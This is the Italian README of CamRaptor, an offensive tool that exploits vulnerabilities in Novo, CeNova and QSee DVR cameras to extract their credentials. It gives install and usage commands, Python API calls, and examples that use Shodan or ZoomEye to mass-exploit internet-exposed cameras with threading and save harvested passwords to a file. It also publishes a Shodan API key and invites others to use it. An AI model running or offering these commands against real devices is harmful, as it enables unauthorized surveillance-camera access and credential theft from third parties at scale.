CamRaptor

CamRaptor è uno strumento che sfrutta diverse vulnerabilità in telecamere DVR popolari per ottenere le credenziali di rete delle telecamere.

Caratteristiche

• Sfrutta vulnerabilità nei modelli di telecamera più popolari come Novo, CeNova e QSee.
• Ottimizzato per sfruttare più telecamere contemporaneamente da un elenco con threading abilitato.
• Utilizzo semplice tramite CLI e API.

Installazione

pip3 install git+https://github.com/EntySec/CamRaptor

Utilizzo base

Per usare CamRaptor basta digitare camraptor nel terminale.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Esempi

Sfruttare una singola telecamera

Hackiamo la mia telecamera solo per divertimento.

camraptor -a 192.168.99.100

Sfruttare telecamere da Internet

Proviamo a usare il motore di ricerca Shodan per sfruttare telecamere su Internet, lo useremo con -t per uno sfruttamento rapido.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTA: La chiave API Shodan fornita (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) è la mia chiave PRO, puoi usare questa chiave o la tua, sentiti libero di usare tutte le nostre risorse gratuitamente :)

Sfruttare telecamere da file di input

Proviamo a usare un database aperto di telecamere con -t per uno sfruttamento rapido.

camraptor -t -i cameras.txt -o passwords.txt

NOTA: Sfrutterà tutte le telecamere nell'elenco cameras.txt tramite i loro indirizzi e salverà tutte le password ottenute in passwords.txt.

Utilizzo API

CamRaptor ha anche una propria API Python che può essere richiamata importando CamRaptor nel tuo codice.

from camraptor import CamRaptor

Funzioni base

Queste sono tutte le funzioni base di CamRaptor che possono essere usate per sfruttare una telecamera specificata.

• exploit(address) - Sfrutta una singola telecamera dato un indirizzo.

Esempi

Sfruttare una singola telecamera

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)